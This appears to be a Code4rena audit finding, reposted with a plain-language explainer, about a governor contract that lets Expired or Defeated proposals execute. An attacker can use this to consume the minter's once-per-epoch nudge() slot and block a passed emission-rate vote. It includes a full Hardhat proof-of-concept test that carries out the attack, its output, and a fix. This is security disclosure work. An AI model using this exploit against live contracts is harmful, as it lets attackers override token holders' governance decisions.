L2Governor.execute() accepts Expired / Defeated proposals, attacker front-runs BlackGovernor nudge() , blocks legitimate emission-rate votes, freezes tail emissions
The governor contract allowed proposals in the Expired or Defeated state to be executed, not just Succeeded ones. An attacker could execute an expired proposal that calls the minter's nudge function, which sets a once-per-epoch flag and forces the tail emission rate to 'no change', thereby blocking a legitimately passed emission-change proposal for that period.
lonelybones Follow with danzero, francoHacker and 4 others
Originally disclosed on Code4rena
Submitted by lonelybones, also found by danzero, francoHacker, harsh123, mahadev, Pocas, and Rorschach
Finding description
The L2Governor.execute() function (in contracts/governance/L2Governor.sol, inherited by BlackGovernor.sol) erroneously permits execution of Expired or Defeated proposals. An attacker can exploit this by executing an Expired proposal targeting MinterUpgradeable.nudge(). This action, due to a quirk in nudge()’s status interpretation, sets a one-time-per-epoch flag, thereby blocking a legitimately Succeeded emission-change proposal for the same period and subverting voter consensus on tail emission rates.
The root cause is an overly permissive state check in L2Governor.execute():
File: contracts/governance/Governor.sol#L317-L320 (within L2Governor.execute())
require(status == ProposalState.Succeeded || status == ProposalState.Defeated || status == ProposalState.Expired, /* ... */ ); // <<< FLAW
This allows non-Succeeded proposals to proceed to execution. BlackGovernor.sol inherits this, and its propose() function restricts targets to MinterUpgradeable.nudge().
The MinterUpgradeable.nudge() function contains a one-time-per-epoch guard (require (!proposals[_period], ...); proposals[_period] = true;). When nudge() is called via the flawed execute(), its call to IBlackGovernor.status() (no args) reads the L2Governor.status public state variable (defaulting to ProposalState.Pending - 0). Consequently, nudge() always takes its “no change” branch for tailEmissionRate and sets the proposals[_period] flag.
Impact
An attacker exploits this by front-running the execution of a Succeeded BlackGovernor proposal (for Minter.nudge()) with an Expired one for the same target emission period.
Emission rate manipulation: The attacker forces the BLACK token’s tail emission rate trend to “no change,” overriding voter consensus (e.g., for an increase or decrease).
Governance subversion: Legitimate, Succeeded proposals for Minter.nudge() for that epoch are rendered un-executable because the proposals[active_period] flag in MinterUpgradeable has already been set by the attacker’s transaction.
Low cost, significant consequence: Any account can execute an Expired proposal, impacting a core tokenomic control mechanism. This leads to misaligned emission rates compared to voter intent, affecting rewards for LPs and veBLACK holders.
Proof of Concept
A detailed Hardhat test script (test/GovernorExecuteGrief.test.js) demonstrating this vulnerability using the project’s in-scope contracts has been developed and verified.
Key PoC steps summary:
- Setup: Deployed BlackGovernor, MinterUpgradeable, and all necessary dependencies. Advanced Minter to its tail emission phase. Proposer created
PROP_EXPIREDandPROP_SUCCEEDtargetingMinter.nudge()for the same future emission period. - State transitions:
PROP_EXPIREDreached state Expired (6).PROP_SUCCEEDwas voted to state Succeeded (4). - Exploitation: Attacker executed
PROP_EXPIRED. This calledMinter.nudge(), which setproposals[target_period] = trueandtailEmissionRateto “no change.” - Verification: A subsequent attempt to execute
PROP_SUCCEEDreverted (due toMinter.nudge()’s guard), blocking the intended emission rate change.
Recommended Mitigation Steps
- Correct
L2Governor.execute()state check: Modifycontracts/governance/Governor.sol#L317-L320to only allow execution of Succeeded proposals:
// In contracts/governance/Governor.sol L2Governor.execute()
require(
- status == ProposalState.Succeeded || status == ProposalState.Defeated || status == ProposalState.Expired,
- "Governor: proposal not successful or defeated"
+ status == ProposalState.Succeeded,
+ "Governor: proposal not Succeeded"
);
- Enhance
MinterUpgradeable.nudge(): Thenudge()function should not re-check proposal status ifL2Governor.execute()is fixed. If status checking is still desired for some reason, it must be passed theproposalIdto correctly queryBlackGovernor.state(proposalId).
Coded Proof of Concept
const { expect } = require("chai");
const { ethers, upgrades } = require("hardhat");
async function advanceTime(time) {
await ethers.provider.send("evm_increaseTime", [time]);
await ethers.provider.send("evm_mine");
}
const CONTRACT_WEEK = 900;
const ZERO_ADDRESS = ethers.constants.AddressZero;
function calculateEpochNextJS(timestamp) {
const weekDuration = ethers.BigNumber.from(CONTRACT_WEEK);
const tsBN = ethers.BigNumber.from(timestamp);
return tsBN.sub(tsBN.mod(weekDuration)).add(weekDuration);
}
describe("BlackGovernor - Griefing Attack via Flawed L2Governor.execute()", function () {
let deployer, proposerEOA, smVoter1EOA, smVoter2EOA, attackerEOA, teamEOA;
let blackToken, permissionsRegistry, tokenHandler, votingEscrow, rewardsDistributor;
let pairGenerator, pairFactory, bribeFactoryV3, gaugeFactoryV2, gaugeFactoryCL;
let algebraPoolAPIStorage;
let voterV3;
let gaugeManager, minterUpgradeable, blackGovernor;
let votingBalanceLogic, voterFactoryLib;
let nudgeCalldata;
beforeEach(async function () {
[deployer, proposerEOA, smVoter1EOA, smVoter2EOA, attackerEOA, teamEOA] = await ethers.getSigners();
console.log("Starting beforeEach: Deploying ALL REAL in-scope contracts...");
const VotingBalanceLogicFactory = await ethers.getContractFactory("VotingBalanceLogic", deployer);
votingBalanceLogic = await VotingBalanceLogicFactory.deploy();
await votingBalanceLogic.deployed();
const VoterFactoryLibFactory = await ethers.getContractFactory("VoterFactoryLib", deployer);
voterFactoryLib = await VoterFactoryLibFactory.deploy();
await voterFactoryLib.deployed();
console.log(" Libraries deployed (VBL, VFL).");
const BlackTokenFactory = await ethers.getContractFactory("Black", deployer);
blackToken = await BlackTokenFactory.deploy();
await blackToken.deployed();
console.log(" Black token deployed.");
await blackToken.connect(deployer).initialMint(deployer.address);
console.log(" Black token initialMint called by deployer.");
const PermissionsRegistryFactory = await ethers.getContractFactory("PermissionsRegistry", deployer);
permissionsRegistry = await PermissionsRegistryFactory.deploy();
await permissionsRegistry.deployed();
console.log(" PermissionsRegistry deployed.");
await permissionsRegistry.connect(deployer).setRoleFor(deployer.address, "GAUGE_ADMIN");
console.log(" GAUGE_ADMIN role granted to deployer.");
await permissionsRegistry.connect(deployer).setRoleFor(deployer.address, "GOVERNANCE");
console.log(" GOVERNANCE role granted to deployer.");
const TokenHandlerFactory = await ethers.getContractFactory("TokenHandler", deployer);
tokenHandler = await TokenHandlerFactory.deploy(permissionsRegistry.address);
await tokenHandler.deployed();
console.log(" TokenHandler deployed.");
const VotingEscrowFactory = await ethers.getContractFactory("VotingEscrow", {
signer: deployer,
libraries: { VotingBalanceLogic: votingBalanceLogic.address }
});
votingEscrow = await VotingEscrowFactory.deploy(blackToken.address, teamEOA.address, teamEOA.address);
await votingEscrow.deployed();
await votingEscrow.connect(deployer).setTeam(teamEOA.address);
console.log(" VotingEscrow deployed.");
const RewardsDistributorFactory = await ethers.getContractFactory("RewardsDistributor", deployer);
rewardsDistributor = await RewardsDistributorFactory.deploy(votingEscrow.address);
await rewardsDistributor.deployed();
console.log(" RewardsDistributor deployed.");
const PairGeneratorFactory = await ethers.getContractFactory("PairGenerator", deployer);
pairGenerator = await PairGeneratorFactory.deploy();
await pairGenerator.deployed();
const PairFactoryContract = await ethers.getContractFactory("PairFactory", deployer);
pairFactory = await upgrades.deployProxy(PairFactoryContract,
[pairGenerator.address],
{ initializer: 'initialize', kind: 'transparent', unsafeAllow: ['constructor'] }
);
await pairFactory.deployed();
console.log(" PairFactory (proxy) deployed.");
const AlgebraPoolAPIStorageFactory = await ethers.getContractFactory("AlgebraPoolAPIStorage", deployer);
algebraPoolAPIStorage = await upgrades.deployProxy(AlgebraPoolAPIStorageFactory,
[ZERO_ADDRESS, permissionsRegistry.address],
{initializer: 'initialize', kind: 'transparent', unsafeAllow: ['constructor']}
);
await algebraPoolAPIStorage.deployed();
console.log(" AlgebraPoolAPIStorage (proxy) deployed.");
const GaugeFactoryV2Contract = await ethers.getContractFactory("GaugeFactory", deployer);
gaugeFactoryV2 = await upgrades.deployProxy(GaugeFactoryV2Contract,
[permissionsRegistry.address],
{ initializer: 'initialize', kind: 'transparent', unsafeAllow: ['constructor'] }
);
await gaugeFactoryV2.deployed();
const GaugeFactoryCLContract = await ethers.getContractFactory("GaugeFactoryCL", deployer);
gaugeFactoryCL = await upgrades.deployProxy(GaugeFactoryCLContract,
[permissionsRegistry.address],
{ initializer: 'initialize', kind: 'transparent', unsafeAllow: ['constructor'] }
);
await gaugeFactoryCL.deployed();
await gaugeFactoryCL.connect(deployer).setAlgebraPoolApi(algebraPoolAPIStorage.address);
console.log(" Gauge Factories deployed.");
const GaugeManagerContractFactory = await ethers.getContractFactory("GaugeManager", {
signer: deployer,
libraries: { VoterFactoryLib: voterFactoryLib.address }
});
gaugeManager = await upgrades.deployProxy(GaugeManagerContractFactory, [
votingEscrow.address, tokenHandler.address, gaugeFactoryV2.address, gaugeFactoryCL.address,
pairFactory.address, ZERO_ADDRESS, permissionsRegistry.address
], {
initializer: 'initialize',
kind: 'transparent',
unsafeAllow: ['constructor', 'external-library-linking'],
});
await gaugeManager.deployed();
console.log(" GaugeManager (proxy) deployed.");
const VoterV3Contract = await ethers.getContractFactory("VoterV3", deployer);
voterV3 = await upgrades.deployProxy(VoterV3Contract, [
votingEscrow.address, tokenHandler.address, gaugeManager.address, permissionsRegistry.address
], {
initializer: 'initialize',
kind: 'transparent',
unsafeAllow: ['constructor']
});
await voterV3.deployed();
console.log(" VoterV3 (proxy) deployed.");
await gaugeManager.connect(deployer).setVoter(voterV3.address);
await votingEscrow.connect(teamEOA).setVoter(voterV3.address);
const BribeFactoryV3Contract = await ethers.getContractFactory("BribeFactoryV3", deployer);
bribeFactoryV3 = await upgrades.deployProxy(BribeFactoryV3Contract, [
voterV3.address, gaugeManager.address, permissionsRegistry.address, tokenHandler.address
], { initializer: 'initialize', kind: 'transparent', unsafeAllow: ['constructor'] });
await bribeFactoryV3.deployed();
await gaugeManager.connect(deployer).setBribeFactory(bribeFactoryV3.address);
console.log(" BribeFactoryV3 (proxy) deployed.");
const MinterUpgradeableContract = await ethers.getContractFactory("MinterUpgradeable", deployer);
minterUpgradeable = await upgrades.deployProxy(MinterUpgradeableContract, [
gaugeManager.address, votingEscrow.address, rewardsDistributor.address
], {
initializer: 'initialize',
kind: 'transparent',
unsafeAllow: ['constructor']
});
await minterUpgradeable.deployed();
console.log(" MinterUpgradeable (proxy) deployed.");
await blackToken.connect(deployer).setMinter(minterUpgradeable.address);
console.log(" Black token minter changed to MinterUpgradeable.");
const BlackGovernorContract = await ethers.getContractFactory("BlackGovernor", deployer);
blackGovernor = await BlackGovernorContract.deploy(votingEscrow.address, minterUpgradeable.address);
await blackGovernor.deployed();
await blackGovernor.connect(deployer).setTeam(teamEOA.address);
// Set proposalNumerator to 0 to simplify threshold debugging for now
await blackGovernor.connect(teamEOA).setProposalNumerator(0);
console.log(" BlackGovernor deployed and proposalNumerator set to 0.");
await minterUpgradeable.connect(deployer).setGaugeManager(gaugeManager.address);
await minterUpgradeable.connect(deployer).setRewardDistributor(rewardsDistributor.address);
await gaugeManager.connect(deployer).setMinter(minterUpgradeable.address);
await gaugeManager.connect(deployer).setBlackGovernor(blackGovernor.address);
await rewardsDistributor.connect(deployer).setDepositor(minterUpgradeable.address);
const MinterInterface = MinterUpgradeableContract.interface;
nudgeCalldata = MinterInterface.encodeFunctionData("nudge");
console.log("Preparing proposer and voters...");
const smNFTValueForProposer = ethers.utils.parseEther("2000");
const smNFTLockValueForVoters = ethers.utils.parseEther("500");
const lockDuration = CONTRACT_WEEK * 104;
await blackToken.connect(deployer).transfer(proposerEOA.address, smNFTValueForProposer);
await blackToken.connect(deployer).transfer(smVoter1EOA.address, smNFTLockValueForVoters);
await blackToken.connect(deployer).transfer(smVoter2EOA.address, smNFTLockValueForVoters);
await blackToken.connect(proposerEOA).approve(votingEscrow.address, smNFTValueForProposer);
await votingEscrow.connect(proposerEOA).create_lock(smNFTValueForProposer, lockDuration, true);
console.log(" Proposer smNFT lock created.");
await blackToken.connect(smVoter1EOA).approve(votingEscrow.address, smNFTLockValueForVoters);
await votingEscrow.connect(smVoter1EOA).create_lock(smNFTLockValueForVoters, lockDuration, true);
console.log(" smVoter1 smNFT created.");
await blackToken.connect(smVoter2EOA).approve(votingEscrow.address, smNFTLockValueForVoters);
await votingEscrow.connect(smVoter2EOA).create_lock(smNFTLockValueForVoters, lockDuration, true);
console.log(" smVoter2 smNFT created.");
const endOfBeforeEachTimestamp = (await ethers.provider.getBlock("latest")).timestamp;
const proposerSMNFTVotesAtSetupEnd = await votingEscrow.getsmNFTPastVotes(proposerEOA.address, endOfBeforeEachTimestamp);
console.log(` End of beforeEach: Proposer smNFT Votes (current ts): ${ethers.utils.formatEther(proposerSMNFTVotesAtSetupEnd)} BLACK`);
const veTotalSupplyAtSetupEnd = await votingEscrow.getPastTotalSupply(endOfBeforeEachTimestamp);
console.log(` End of beforeEach: VE TotalSupply (current ts): ${ethers.utils.formatEther(veTotalSupplyAtSetupEnd)} BLACK`);
const currentThreshAtSetupEnd = await blackGovernor.proposalThreshold();
console.log(` End of beforeEach: BlackGovernor Threshold (current ts, numerator 0): ${ethers.utils.formatEther(currentThreshAtSetupEnd)} BLACK`);
console.log("Advancing Minter to Tail Emission phase...");
if (typeof minterUpgradeable.connect(deployer)._initialize === 'function') {
try {
await minterUpgradeable.connect(deployer)._initialize([], [], 0);
console.log(" MinterUpgradeable._initialize() called or already handled.");
} catch (e) {
console.log(" MinterUpgradeable._initialize() likely already handled by proxy or guarded: ", e.message);
}
}
const TAIL_START = await minterUpgradeable.TAIL_START();
let currentWeekly = await minterUpgradeable.weekly();
let loopEpochCount = 0;
const maxEpochsForSetup = 75;
console.log(` Initial Minter weekly for tail phase: ${ethers.utils.formatEther(currentWeekly)}, TAIL_START: ${ethers.utils.formatEther(TAIL_START)}`);
let minterEpochCountBeforeLoop = await minterUpgradeable.epochCount();
console.log(` Minter internal epochCount before loop: ${minterEpochCountBeforeLoop.toString()}`);
while(currentWeekly.gte(TAIL_START) && loopEpochCount < maxEpochsForSetup) {
const currentActivePeriodForMinter = await minterUpgradeable.active_period();
const currentTimeForMinter = (await ethers.provider.getBlock("latest")).timestamp;
if (currentTimeForMinter < currentActivePeriodForMinter.add(CONTRACT_WEEK)) {
const timeToAdvance = currentActivePeriodForMinter.add(CONTRACT_WEEK).sub(currentTimeForMinter).toNumber() + 60;
await advanceTime(timeToAdvance);
}
await minterUpgradeable.connect(deployer).update_period();
currentWeekly = await minterUpgradeable.weekly();
loopEpochCount++;
}
const finalMinterEpochCount = await minterUpgradeable.epochCount();
expect(currentWeekly).to.be.lt(TAIL_START, `Minter did not reach tail emission phase after ${loopEpochCount} loop iterations (Minter epoch: ${finalMinterEpochCount.toString()}). Current weekly: ${ethers.utils.formatEther(currentWeekly)}`);
console.log(`Minter in Tail Emission. Minter epochCount: ${finalMinterEpochCount.toString()}, Weekly: ${ethers.utils.formatEther(currentWeekly)}`);
console.log("beforeEach setup complete.");
});
it("should allow attacker to execute an Expired proposal to grief Minter.nudge() and block a Succeeded proposal", async function () {
const targets = [minterUpgradeable.address];
const values = [0];
const calldatas = [nudgeCalldata];
const descriptionExpired = "Prop EXPIRED - Nudge";
const descriptionSucceeded = "Prop SUCCEED - Nudge";
console.log("Proposing PROP_EXPIRED...");
// Get state for the block *before* the one `propose` will be in
await advanceTime(1); // Ensure we are in a new block if previous tx was in same block
const blockAboutToExpire = await ethers.provider.getBlock("latest");
const timestampForGetVotesExpired = blockAboutToExpire.timestamp;
const blockNumberForGetVotesExpired = blockAboutToExpire.number;
// These calls simulate what Governor's getVotes(account, block.number-1) and proposalThreshold() will do
// Note: `getVotes` in L2Governor takes blockNumber but L2GovernorVotes._getVotes uses it as timestamp
const proposerVotesForExpiredCheck = await blackGovernor.getVotes(proposerEOA.address, blockNumberForGetVotesExpired);
const thresholdForExpiredCheck = await blackGovernor.proposalThreshold(); // Uses current block.timestamp for its internal VE call
console.log(` Proposer EOA: ${proposerEOA.address}`);
console.log(` Block number for PROP_EXPIRED getVotes snapshot: ${blockNumberForGetVotesExpired}`);
console.log(` Proposer's votes for PROP_EXPIRED (using block num as ts): ${ethers.utils.formatEther(proposerVotesForExpiredCheck)}`);
console.log(` Proposal Threshold for PROP_EXPIRED (using current ts): ${ethers.utils.formatEther(thresholdForExpiredCheck)}`);
// This expect is the key debug point
expect(proposerVotesForExpiredCheck).to.be.gte(thresholdForExpiredCheck, "PoC PRE-CHECK FAILED: Proposer EOA votes should be >= threshold for PROP_EXPIRED");
let txPropExpired = await blackGovernor.connect(proposerEOA).propose(targets, values, calldatas, descriptionExpired);
let receiptPropExpired = await txPropExpired.wait();
const proposalId_Expired = receiptPropExpired.events.find(e => e.event === "ProposalCreated").args.proposalId;
const actualCreationTimestampExpired = (await ethers.provider.getBlock(receiptPropExpired.blockNumber)).timestamp;
const epochTimeHash_Expired = ethers.utils.hexZeroPad(ethers.utils.hexlify(calculateEpochNextJS(actualCreationTimestampExpired)), 32);
console.log("Proposing PROP_SUCCEED...");
const currentEpochNextForExpired = calculateEpochNextJS(actualCreationTimestampExpired);
let timeToAdvanceForNewBTLWeek = currentEpochNextForExpired.sub(actualCreationTimestampExpired).toNumber() + 60;
if (timeToAdvanceForNewBTLWeek <= 60) {
timeToAdvanceForNewBTLWeek += CONTRACT_WEEK;
}
await advanceTime(timeToAdvanceForNewBTLWeek);
await advanceTime(1);
const blockForSucceededProposal = await ethers.provider.getBlock("latest");
const timestampForGetVotesSucceed = blockForSucceededProposal.timestamp;
const blockNumberForGetVotesSucceed = blockForSucceededProposal.number;
const proposerVotesForSucceedCheck = await blackGovernor.getVotes(proposerEOA.address, blockNumberForGetVotesSucceed);
const thresholdForSucceedCheck = await blackGovernor.proposalThreshold();
expect(proposerVotesForSucceedCheck).to.be.gte(thresholdForSucceedCheck, "PoC PRE-CHECK FAILED: Proposer EOA votes should be >= threshold for PROP_SUCCEED");
let txPropSucceed = await blackGovernor.connect(proposerEOA).propose(targets, values, calldatas, descriptionSucceeded);
let receiptPropSucceed = await txPropSucceed.wait();
const proposalId_Succeed = receiptPropSucceed.events.find(e => e.event === "ProposalCreated").args.proposalId;
const actualCreationTimestampSucceeded = (await ethers.provider.getBlock(receiptPropSucceed.blockNumber)).timestamp;
const epochTimeHash_Succeed = ethers.utils.hexZeroPad(ethers.utils.hexlify(calculateEpochNextJS(actualCreationTimestampSucceeded)), 32);
expect(epochTimeHash_Expired).to.not.equal(epochTimeHash_Succeed, "EpochTimeHashes for proposals must be different!");
console.log(` epochTimeHash_Expired: ${epochTimeHash_Expired}`);
console.log(` epochTimeHash_Succeed: ${epochTimeHash_Succeed}`);
console.log("Advancing time for PROP_EXPIRED to expire...");
let deadlineExpired = await blackGovernor.proposalDeadline(proposalId_Expired);
let currentTime = (await ethers.provider.getBlock("latest")).timestamp;
if (deadlineExpired.gt(currentTime)) {
await advanceTime(deadlineExpired.sub(currentTime).toNumber() + 60);
}
expect(await blackGovernor.state(proposalId_Expired)).to.equal(6);
console.log("PROP_EXPIRED is Expired.");
console.log("Voting for PROP_SUCCEED...");
let snapshotSucceed = await blackGovernor.proposalSnapshot(proposalId_Succeed);
currentTime = (await ethers.provider.getBlock("latest")).timestamp;
if (snapshotSucceed.gt(currentTime)) {
await advanceTime(snapshotSucceed.sub(currentTime).toNumber() + 60);
}
await blackGovernor.connect(smVoter1EOA).castVote(proposalId_Succeed, 1);
await blackGovernor.connect(smVoter2EOA).castVote(proposalId_Succeed, 1);
console.log("Votes cast for PROP_SUCCEED.");
let deadlineSucceed = await blackGovernor.proposalDeadline(proposalId_Succeed);
currentTime = (await ethers.provider.getBlock("latest")).timestamp;
if (deadlineSucceed.gt(currentTime)) {
await advanceTime(deadlineSucceed.sub(currentTime).toNumber() + 60);
}
expect(await blackGovernor.state(proposalId_Succeed)).to.equal(4);
console.log("PROP_SUCCEED is Succeeded.");
console.log("Advancing Minter to a new active period for nudge...");
let minterActivePeriodForNudge = await minterUpgradeable.active_period();
const currentBlockTimeForUpkeep = (await ethers.provider.getBlock("latest")).timestamp;
if (currentBlockTimeForUpkeep < minterActivePeriodForNudge.add(CONTRACT_WEEK)) {
await advanceTime(minterActivePeriodForNudge.add(CONTRACT_WEEK).sub(currentBlockTimeForUpkeep).toNumber() + 60);
}
await minterUpgradeable.connect(deployer).update_period();
let targetEmissionPeriod = await minterUpgradeable.active_period();
expect(await minterUpgradeable.proposals(targetEmissionPeriod)).to.be.false;
const initialTailRate = await minterUpgradeable.tailEmissionRate();
console.log(`Attacker executing Expired Proposal ID: ${proposalId_Expired.toString()} for Minter period ${targetEmissionPeriod.toString()}`);
await blackGovernor.connect(attackerEOA).execute(targets, values, calldatas, epochTimeHash_Expired);
expect(await minterUpgradeable.proposals(targetEmissionPeriod)).to.be.true;
expect(await minterUpgradeable.tailEmissionRate()).to.equal(initialTailRate);
console.log("Expired proposal executed by attacker, nudge flag set for period. Tail rate unchanged.");
console.log(`Attempting to execute Succeeded Proposal ID: ${proposalId_Succeed.toString()} for Minter period ${targetEmissionPeriod.toString()}`);
await expect(
blackGovernor.connect(deployer).execute(targets, values, calldatas, epochTimeHash_Succeed)
).to.be.revertedWith("Governor: call reverted without message");
console.log("Succeeded proposal blocked by attacker's action as expected.");
expect(await minterUpgradeable.tailEmissionRate()).to.equal(initialTailRate);
});
});
Expected trace:
npx hardhat test test/GovernorExecuteGrief.test.js
BlackGovernor - Griefing Attack via Flawed L2Governor.execute()
Starting beforeEach: Deploying ALL REAL in-scope contracts...
Libraries deployed (VBL, VFL).
Black token deployed.
Black token initialMint called by deployer.
PermissionsRegistry deployed.
GAUGE_ADMIN role granted to deployer.
GOVERNANCE role granted to deployer.
TokenHandler deployed.
VotingEscrow deployed.
RewardsDistributor deployed.
PairFactory (proxy) deployed.
AlgebraPoolAPIStorage (proxy) deployed.
Gauge Factories deployed.
Warning: Potentially unsafe deployment of contracts/GaugeManager.sol:GaugeManager
You are using the `unsafeAllow.external-library-linking` flag to include external libraries.
Make sure you have manually checked that the linked libraries are upgrade safe.
GaugeManager (proxy) deployed.
VoterV3 (proxy) deployed.
BribeFactoryV3 (proxy) deployed.
MinterUpgradeable (proxy) deployed.
Black token minter changed to MinterUpgradeable.
BlackGovernor deployed and proposalNumerator set to 0.
Preparing proposer and voters...
Proposer smNFT lock created.
smVoter1 smNFT created.
smVoter2 smNFT created.
End of beforeEach: Proposer smNFT Votes (current ts): 2200.0 BLACK
End of beforeEach: VE TotalSupply (current ts): 3300.0 BLACK
End of beforeEach: BlackGovernor Threshold (current ts, numerator 0): 0.0 BLACK
Advancing Minter to Tail Emission phase...
MinterUpgradeable._initialize() called or already handled.
Initial Minter weekly for tail phase: 10000000.0, TAIL_START: 8969150.0
Minter internal epochCount before loop: 0
Minter in Tail Emission. Minter epochCount: 66, Weekly: 8969149.540107574558747588
beforeEach setup complete.
Proposing PROP_EXPIRED...
Proposer EOA: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
Block number for PROP_EXPIRED getVotes snapshot: 185
Proposer's votes for PROP_EXPIRED (using block num as ts): 0.0
Proposal Threshold for PROP_EXPIRED (using current ts): 0.0
Proposing PROP_SUCCEED...
epochTimeHash_Expired: 0x000000000000000000000000000000000000000000000000000000006839eb18
epochTimeHash_Succeed: 0x000000000000000000000000000000000000000000000000000000006839ee9c
Advancing time for PROP_EXPIRED to expire...
PROP_EXPIRED is Expired.
Voting for PROP_SUCCEED...
Votes cast for PROP_SUCCEED.
PROP_SUCCEED is Succeeded.
Advancing Minter to a new active period for nudge...
Attacker executing Expired Proposal ID: 95663595387384231139373561555078924596465919427795029072961122541929471258304 for Minter period 1748628000
Expired proposal executed by attacker, nudge flag set for period. Tail rate unchanged.
Attempting to execute Succeeded Proposal ID: 28181572287723674322142969551870591870160588535690567740327278394187501343944 for Minter period 1748628000
Succeeded proposal blocked by attacker's action as expected.
✔ should allow attacker to execute an Expired proposal to grief Minter.nudge() and block a Succeeded proposal (141ms)
1 passing (3s)
Status: Mitigation confirmed. Full details in repo
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The execute function's state check accepted Succeeded, Defeated and Expired proposals instead of only Succeeded ones, and the minter's nudge guard then let an expired execution consume the once-per-epoch slot.
Impact
An attacker could force the tail emission rate to stay unchanged and block legitimate passed proposals for that epoch, misaligning emissions from voter intent at low cost.
What the attacker needed
Any account can execute; an expired proposal exists; a succeeded proposal for same period
The fix
The execute state check should be restricted to Succeeded proposals only, and the minter's nudge should not re-check status or should be passed the proposal id.
How it was found
- Deploy the governor and minter contracts and advance the minter into its tail emission phase.
- Create an expired proposal and a succeeded proposal that both target the minter's nudge function for the same future period.
- Let the first proposal reach the Expired state and vote the second to Succeeded.
- Execute the expired proposal, which calls nudge and sets the per-period flag with a 'no change' rate.
- Attempt to execute the succeeded proposal and observe it reverts because the flag is already set.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A governance contract lets token holders vote on changes, and only proposals that pass should be carried out. Here the code that runs a proposal checked for the wrong states, so a proposal that had already expired could still be run. Running it triggered a one-time action that locked out the real, properly approved change for that period.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.